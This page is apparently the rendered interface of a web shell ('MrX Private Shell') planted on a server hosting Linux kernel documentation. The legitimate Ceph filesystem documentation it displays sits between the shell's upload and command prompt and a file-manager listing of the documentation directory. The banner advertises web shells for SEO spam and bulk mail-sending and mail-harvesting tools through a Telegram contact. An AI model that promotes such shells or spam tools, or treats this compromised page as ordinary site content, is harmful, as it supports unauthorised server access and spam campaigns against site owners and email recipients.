__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.173: ~ $
<!DOCTYPE html>

<html lang="en" data-content_root="../">
  <head>
    <meta charset="utf-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" /><meta name="viewport" content="width=device-width, initial-scale=1" />

    <title>Ceph Distributed File System &#8212; The Linux Kernel  documentation</title>
    <link rel="stylesheet" type="text/css" href="../_static/pygments.css?v=fa44fd50" />
    <link rel="stylesheet" type="text/css" href="../_static/alabaster.css?v=3918102e" />
    <script src="../_static/documentation_options.js?v=5929fcd5"></script>
    <script src="../_static/doctools.js?v=9bcbadda"></script>
    <script src="../_static/sphinx_highlight.js?v=dc90522c"></script>
    <link rel="index" title="Index" href="../genindex.html" />
    <link rel="search" title="Search" href="../search.html" />
    <link rel="next" title="Coda Kernel-Venus Interface" href="coda.html" />
    <link rel="prev" title="BTRFS" href="btrfs.html" />
   
  <link rel="stylesheet" href="../_static/custom.css" type="text/css" />
  

  
  

  </head><body>
  <div class="document">
    
      <div class="sphinxsidebar" role="navigation" aria-label="Main">
        <div class="sphinxsidebarwrapper">
            <p class="logo"><a href="../index.html">
              <img class="logo" src="../_static/logo.svg" alt="Logo of The Linux Kernel"/>
            </a></p>
<h1 class="logo"><a href="../index.html">The Linux Kernel</a></h1>



<p class="blurb">6.18.50</p>







<search id="searchbox" style="display: none" role="search">
  <h3 id="searchlabel">Quick search</h3>
    <div class="searchformwrapper">
    <form class="search" action="../search.html" method="get">
      <input type="text" name="q" aria-labelledby="searchlabel" autocomplete="off" autocorrect="off" autocapitalize="off" spellcheck="false"/>
      <input type="submit" value="Go" />
    </form>
    </div>
</search>
<script>document.getElementById('searchbox').style.display = "block"</script>


<p>
<h3 class="kernel-toc-contents">Contents</h3>
<input type="checkbox" class="kernel-toc-toggle" id = "kernel-toc-toggle" checked>
<label class="kernel-toc-title" for="kernel-toc-toggle"></label>

<div class="kerneltoc" id="kerneltoc">
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/development-process.html">Development process</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/submitting-patches.html">Submitting patches</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/code-of-conduct.html">Code of conduct</a></li>
<li class="toctree-l1"><a class="reference internal" href="../maintainer/index.html">Maintainer handbook</a></li>
<li class="toctree-l1"><a class="reference internal" href="../process/index.html">All development-process docs</a></li>
</ul>
<ul class="current">
<li class="toctree-l1"><a class="reference internal" href="../core-api/index.html">Core API</a></li>
<li class="toctree-l1"><a class="reference internal" href="../driver-api/index.html">Driver APIs</a></li>
<li class="toctree-l1 current"><a class="reference internal" href="../subsystem-apis.html">Subsystems</a><ul class="current">
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#core-subsystems">Core subsystems</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#human-interfaces">Human interfaces</a></li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#networking-interfaces">Networking interfaces</a></li>
<li class="toctree-l2 current"><a class="reference internal" href="../subsystem-apis.html#storage-interfaces">Storage interfaces</a><ul class="current">
<li class="toctree-l3 current"><a class="reference internal" href="index.html">Filesystems in the Linux kernel</a></li>
<li class="toctree-l3"><a class="reference internal" href="../block/index.html">Block</a></li>
<li class="toctree-l3"><a class="reference internal" href="../cdrom/index.html">CD-ROM</a></li>
<li class="toctree-l3"><a class="reference internal" href="../scsi/index.html">SCSI Subsystem</a></li>
<li class="toctree-l3"><a class="reference internal" href="../target/index.html">TCM Virtual Device</a></li>
<li class="toctree-l3"><a class="reference internal" href="../nvme/index.html">NVMe Subsystem</a></li>
</ul>
</li>
<li class="toctree-l2"><a class="reference internal" href="../subsystem-apis.html#other-subsystems">Other subsystems</a></li>
</ul>
</li>
<li class="toctree-l1"><a class="reference internal" href="../locking/index.html">Locking</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../process/license-rules.html">Licensing rules</a></li>
<li class="toctree-l1"><a class="reference internal" href="../doc-guide/index.html">Writing documentation</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/index.html">Development tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../dev-tools/testing-overview.html">Testing guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kernel-hacking/index.html">Hacking guide</a></li>
<li class="toctree-l1"><a class="reference internal" href="../trace/index.html">Tracing</a></li>
<li class="toctree-l1"><a class="reference internal" href="../fault-injection/index.html">Fault injection</a></li>
<li class="toctree-l1"><a class="reference internal" href="../livepatch/index.html">Livepatching</a></li>
<li class="toctree-l1"><a class="reference internal" href="../rust/index.html">Rust</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/index.html">Administration</a></li>
<li class="toctree-l1"><a class="reference internal" href="../kbuild/index.html">Build system</a></li>
<li class="toctree-l1"><a class="reference internal" href="../admin-guide/reporting-issues.html">Reporting issues</a></li>
<li class="toctree-l1"><a class="reference internal" href="../tools/index.html">Userspace tools</a></li>
<li class="toctree-l1"><a class="reference internal" href="../userspace-api/index.html">Userspace API</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../firmware-guide/index.html">Firmware</a></li>
<li class="toctree-l1"><a class="reference internal" href="../devicetree/index.html">Firmware and Devicetree</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../arch/index.html">CPU architectures</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../staging/index.html">Unsorted documentation</a></li>
</ul>
<ul>
<li class="toctree-l1"><a class="reference internal" href="../translations/index.html">Translations</a></li>
</ul>

</div>

<script type="text/javascript"> <!--
  var sbar = document.getElementsByClassName("sphinxsidebar")[0];
  let currents = document.getElementsByClassName("current")
  if (currents.length) {
    sbar.scrollTop = currents[currents.length - 1].offsetTop;
  }
  --> </script>
  <div role="note" aria-label="source link">
    <h3>This Page</h3>
    <ul class="this-page-menu">
      <li><a href="../_sources/filesystems/ceph.rst.txt"
            rel="nofollow">Show Source</a></li>
    </ul>
   </div>
        </div>
      </div>
      <div class="documentwrapper">
        <div class="bodywrapper">
          

          <div class="body" role="main">
            
  



<section id="ceph-distributed-file-system">
<h1>Ceph Distributed File System<a class="headerlink" href="#ceph-distributed-file-system" title="Link to this heading">¶</a></h1>
<p>Ceph is a distributed network file system designed to provide good
performance, reliability, and scalability.</p>
<p>Basic features include:</p>
<blockquote>
<div><ul class="simple">
<li><p>POSIX semantics</p></li>
<li><p>Seamless scaling from 1 to many thousands of nodes</p></li>
<li><p>High availability and reliability.  No single point of failure.</p></li>
<li><p>N-way replication of data across storage nodes</p></li>
<li><p>Fast recovery from node failures</p></li>
<li><p>Automatic rebalancing of data on node addition/removal</p></li>
<li><p>Easy deployment: most FS components are userspace daemons</p></li>
</ul>
</div></blockquote>
<p>Also,</p>
<blockquote>
<div><ul class="simple">
<li><p>Flexible snapshots (on any directory)</p></li>
<li><p>Recursive accounting (nested files, directories, bytes)</p></li>
</ul>
</div></blockquote>
<p>In contrast to cluster filesystems like GFS, OCFS2, and GPFS that rely
on symmetric access by all clients to shared block devices, Ceph
separates data and metadata management into independent server
clusters, similar to Lustre.  Unlike Lustre, however, metadata and
storage nodes run entirely as user space daemons.  File data is striped
across storage nodes in large chunks to distribute workload and
facilitate high throughputs.  When storage nodes fail, data is
re-replicated in a distributed fashion by the storage nodes themselves
(with some minimal coordination from a cluster monitor), making the
system extremely efficient and scalable.</p>
<p>Metadata servers effectively form a large, consistent, distributed
in-memory cache above the file namespace that is extremely scalable,
dynamically redistributes metadata in response to workload changes,
and can tolerate arbitrary (well, non-Byzantine) node failures.  The
metadata server takes a somewhat unconventional approach to metadata
storage to significantly improve performance for common workloads.  In
particular, inodes with only a single link are embedded in
directories, allowing entire directories of dentries and inodes to be
loaded into its cache with a single I/O operation.  The contents of
extremely large directories can be fragmented and managed by
independent metadata servers, allowing scalable concurrent access.</p>
<p>The system offers automatic data rebalancing/migration when scaling
from a small cluster of just a few nodes to many hundreds, without
requiring an administrator carve the data set into static volumes or
go through the tedious process of migrating data between servers.
When the file system approaches full, new nodes can be easily added
and things will “just work.”</p>
<p>Ceph includes flexible snapshot mechanism that allows a user to create
a snapshot on any subdirectory (and its nested contents) in the
system.  Snapshot creation and deletion are as simple as ‘mkdir
.snap/foo’ and ‘rmdir .snap/foo’.</p>
<p>Snapshot names have two limitations:</p>
<ul class="simple">
<li><p>They can not start with an underscore (‘_’), as these names are reserved
for internal usage by the MDS.</p></li>
<li><p>They can not exceed 240 characters in size.  This is because the MDS makes
use of long snapshot names internally, which follow the format:
<cite>_&lt;SNAPSHOT-NAME&gt;_&lt;INODE-NUMBER&gt;</cite>.  Since filenames in general can’t have
more than 255 characters, and <cite>&lt;node-id&gt;</cite> takes 13 characters, the long
snapshot names can take as much as 255 - 1 - 1 - 13 = 240.</p></li>
</ul>
<p>Ceph also provides some recursive accounting on directories for nested files
and bytes.  You can run the commands:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>getfattr -n ceph.dir.rfiles /some/dir
getfattr -n ceph.dir.rbytes /some/dir
</pre></div>
</div>
<p>to get the total number of nested files and their combined size, respectively.
This makes the identification of large disk space consumers relatively quick,
as no ‘du’ or similar recursive scan of the file system is required.</p>
<p>Finally, Ceph also allows quotas to be set on any directory in the system.
The quota can restrict the number of bytes or the number of files stored
beneath that point in the directory hierarchy.  Quotas can be set using
extended attributes ‘ceph.quota.max_files’ and ‘ceph.quota.max_bytes’, eg:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span>setfattr -n ceph.quota.max_bytes -v 100000000 /some/dir
getfattr -n ceph.quota.max_bytes /some/dir
</pre></div>
</div>
<p>A limitation of the current quotas implementation is that it relies on the
cooperation of the client mounting the file system to stop writers when a
limit is reached.  A modified or adversarial client cannot be prevented
from writing as much data as it needs.</p>
<section id="mount-syntax">
<h2>Mount Syntax<a class="headerlink" href="#mount-syntax" title="Link to this heading">¶</a></h2>
<p>The basic mount syntax is:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># mount -t ceph user@fsid.fs_name=/[subdir] mnt -o mon_addr=monip1[:port][/monip2[:port]]
</pre></div>
</div>
<p>You only need to specify a single monitor, as the client will get the
full list when it connects.  (However, if the monitor you specify
happens to be down, the mount won’t succeed.)  The port can be left
off if the monitor is using the default.  So if the monitor is at
1.2.3.4:</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># mount -t ceph cephuser@07fe3187-00d9-42a3-814b-72a4d5e7d5be.cephfs=/ /mnt/ceph -o mon_addr=1.2.3.4
</pre></div>
</div>
<p>is sufficient.  If /sbin/mount.ceph is installed, a hostname can be
used instead of an IP address and the cluster FSID can be left out
(as the mount helper will fill it in by reading the ceph configuration
file):</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># mount -t ceph cephuser@cephfs=/ /mnt/ceph -o mon_addr=mon-addr
</pre></div>
</div>
<p>Multiple monitor addresses can be passed by separating each address with a slash (<cite>/</cite>):</p>
<div class="highlight-none notranslate"><div class="highlight"><pre><span></span># mount -t ceph cephuser@cephfs=/ /mnt/ceph -o mon_addr=192.168.1.100/192.168.1.101
</pre></div>
</div>
<p>When using the mount helper, monitor address can be read from ceph
configuration file if available. Note that, the cluster FSID (passed as part
of the device string) is validated by checking it with the FSID reported by
the monitor.</p>
</section>
<section id="mount-options">
<h2>Mount Options<a class="headerlink" href="#mount-options" title="Link to this heading">¶</a></h2>
<blockquote>
<div><dl class="simple">
<dt>mon_addr=ip_address[:port][/ip_address[:port]]</dt><dd><p>Monitor address to the cluster. This is used to bootstrap the
connection to the cluster. Once connection is established, the
monitor addresses in the monitor map are followed.</p>
</dd>
<dt>fsid=cluster-id</dt><dd><p>FSID of the cluster (from <cite>ceph fsid</cite> command).</p>
</dd>
<dt>ip=A.B.C.D[:N]</dt><dd><p>Specify the IP and/or port the client should bind to locally.
There is normally not much reason to do this.  If the IP is not
specified, the client’s IP address is determined by looking at the
address its connection to the monitor originates from.</p>
</dd>
<dt>wsize=X</dt><dd><p>Specify the maximum write size in bytes.  Default: 64 MB.</p>
</dd>
<dt>rsize=X</dt><dd><p>Specify the maximum read size in bytes.  Default: 64 MB.</p>
</dd>
<dt>rasize=X</dt><dd><p>Specify the maximum readahead size in bytes.  Default: 8 MB.</p>
</dd>
<dt>mount_timeout=X</dt><dd><p>Specify the timeout value for mount (in seconds), in the case
of a non-responsive Ceph file system.  The default is 60
seconds.</p>
</dd>
<dt>caps_max=X</dt><dd><p>Specify the maximum number of caps to hold. Unused caps are released
when number of caps exceeds the limit. The default is 0 (no limit)</p>
</dd>
<dt>rbytes</dt><dd><p>When <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">stat()</span></code> is called on a directory, set st_size to ‘rbytes’,
the summation of file sizes over all files nested beneath that
directory.  This is the default.</p>
</dd>
<dt>norbytes</dt><dd><p>When <code class="xref c c-func broken_xref docutils literal notranslate"><span class="pre">stat()</span></code> is called on a directory, set st_size to the
number of entries in that directory.</p>
</dd>
<dt>nocrc</dt><dd><p>Disable CRC32C calculation for data writes.  If set, the storage node
must rely on TCP’s error correction to detect data corruption
in the data payload.</p>
</dd>
<dt>dcache</dt><dd><p>Use the dcache contents to perform negative lookups and
readdir when the client has the entire directory contents in
its cache.  (This does not change correctness; the client uses
cached metadata only when a lease or capability ensures it is
valid.)</p>
</dd>
<dt>nodcache</dt><dd><p>Do not use the dcache as above.  This avoids a significant amount of
complex code, sacrificing performance without affecting correctness,
and is useful for tracking down bugs.</p>
</dd>
<dt>noasyncreaddir</dt><dd><p>Do not use the dcache as above for readdir.</p>
</dd>
<dt>noquotadf</dt><dd><p>Report overall filesystem usage in statfs instead of using the root
directory quota.</p>
</dd>
<dt>nocopyfrom</dt><dd><p>Don’t use the RADOS ‘copy-from’ operation to perform remote object
copies.  Currently, it’s only used in copy_file_range, which will revert
to the default VFS implementation if this option is used.</p>
</dd>
<dt>recover_session=&lt;no|clean&gt;</dt><dd><p>Set auto reconnect mode in the case where the client is blocklisted. The
available modes are “no” and “clean”. The default is “no”.</p>
<ul class="simple">
<li><p>no: never attempt to reconnect when client detects that it has been
blocklisted. Operations will generally fail after being blocklisted.</p></li>
<li><p>clean: client reconnects to the ceph cluster automatically when it
detects that it has been blocklisted. During reconnect, client drops
dirty data/metadata, invalidates page caches and writable file handles.
After reconnect, file locks become stale because the MDS loses track
of them. If an inode contains any stale file locks, read/write on the
inode is not allowed until applications release all stale file locks.</p></li>
</ul>
</dd>
</dl>
</div></blockquote>
</section>
<section id="more-information">
<h2>More Information<a class="headerlink" href="#more-information" title="Link to this heading">¶</a></h2>
<dl class="simple">
<dt>For more information on Ceph, see the home page at</dt><dd><p><a class="reference external" href="https://ceph.com/">https://ceph.com/</a></p>
</dd>
<dt>The Linux kernel client source tree is available at</dt><dd><ul class="simple">
<li><p><a class="reference external" href="https://github.com/ceph/ceph-client.git">https://github.com/ceph/ceph-client.git</a></p></li>
</ul>
</dd>
<dt>and the source for the full system is at</dt><dd><p><a class="reference external" href="https://github.com/ceph/ceph.git">https://github.com/ceph/ceph.git</a></p>
</dd>
</dl>
</section>
</section>


          </div>
          
        </div>
      </div>
    <div class="clearer"></div>
  </div>
    <div class="footer">
      &#169;The kernel development community.
      
      |
      Powered by <a href="https://www.sphinx-doc.org/">Sphinx 8.1.3</a>
      &amp; <a href="https://alabaster.readthedocs.io">Alabaster 0.7.16</a>
      
      |
      <a href="../_sources/filesystems/ceph.rst.txt"
          rel="nofollow">Page source</a>
    </div>

    

    
  </body>
</html>

Filemanager

Name Type Size Permission Actions
caching Folder 0755
ext4 Folder 0755
fuse Folder 0755
iomap Folder 0755
nfs Folder 0755
smb Folder 0755
spufs Folder 0755
xfs Folder 0755
9p.html File 24.15 KB 0644
adfs.html File 13.15 KB 0644
affs.html File 18.5 KB 0644
afs.html File 19.14 KB 0644
api-summary.html File 831.83 KB 0644
autofs-mount-control.html File 32.3 KB 0644
autofs.html File 38.96 KB 0644
automount-support.html File 12.79 KB 0644
befs.html File 14.41 KB 0644
bfs.html File 10.72 KB 0644
btrfs.html File 9.7 KB 0644
buffer.html File 48.88 KB 0644
ceph.html File 18.87 KB 0644
coda.html File 65.97 KB 0644
configfs.html File 36.14 KB 0644
cramfs.html File 14.95 KB 0644
dax.html File 25.37 KB 0644
debugfs.html File 21.71 KB 0644
devpts.html File 10.61 KB 0644
directory-locking.html File 23.11 KB 0644
dlmfs.html File 14.28 KB 0644
dnotify.html File 12.09 KB 0644
ecryptfs.html File 11.96 KB 0644
efivarfs.html File 10 KB 0644
erofs.html File 29.42 KB 0644
ext2.html File 32.92 KB 0644
ext3.html File 8.29 KB 0644
f2fs.html File 67.87 KB 0644
fiemap.html File 23.32 KB 0644
files.html File 16.52 KB 0644
fscrypt.html File 107.9 KB 0644
fsverity.html File 64.53 KB 0644
gfs2-glocks.html File 21.71 KB 0644
gfs2-uevents.html File 12.88 KB 0644
gfs2.html File 10.38 KB 0644
hfs.html File 12.31 KB 0644
hfsplus.html File 10.28 KB 0644
hpfs.html File 26.83 KB 0644
idmappings.html File 74.42 KB 0644
index.html File 68.19 KB 0644
inotify.html File 12.35 KB 0644
isofs.html File 12.17 KB 0644
journalling.html File 115.17 KB 0644
locking.html File 52.92 KB 0644
locks.html File 11.91 KB 0644
mount_api.html File 49.94 KB 0644
multigrain-ts.html File 15 KB 0644
netfs_library.html File 86.81 KB 0644
nilfs2.html File 22.21 KB 0644
ntfs3.html File 13.64 KB 0644
ocfs2-online-filecheck.html File 13.13 KB 0644
ocfs2.html File 15.76 KB 0644
omfs.html File 13.12 KB 0644
orangefs.html File 35.89 KB 0644
overlayfs.html File 54.83 KB 0644
path-lookup.html File 123.09 KB 0644
porting.html File 94.09 KB 0644
proc.html File 140.32 KB 0644
qnx6.html File 16.36 KB 0644
quota.html File 12.12 KB 0644
ramfs-rootfs-initramfs.html File 27.94 KB 0644
relay.html File 40.38 KB 0644
resctrl.html File 93.99 KB 0644
romfs.html File 18.06 KB 0644
seq_file.html File 36.49 KB 0644
sharedsubtree.html File 46.25 KB 0644
splice.html File 79.36 KB 0644
squashfs.html File 24.34 KB 0644
sysfs.html File 29.32 KB 0644
tmpfs.html File 22.95 KB 0644
ubifs-authentication.html File 33.04 KB 0644
ubifs.html File 15.06 KB 0644
udf.html File 12.11 KB 0644
vfat.html File 26.07 KB 0644
vfs.html File 167.26 KB 0644
virtiofs.html File 12.16 KB 0644
zonefs.html File 35.71 KB 0644
Filemanager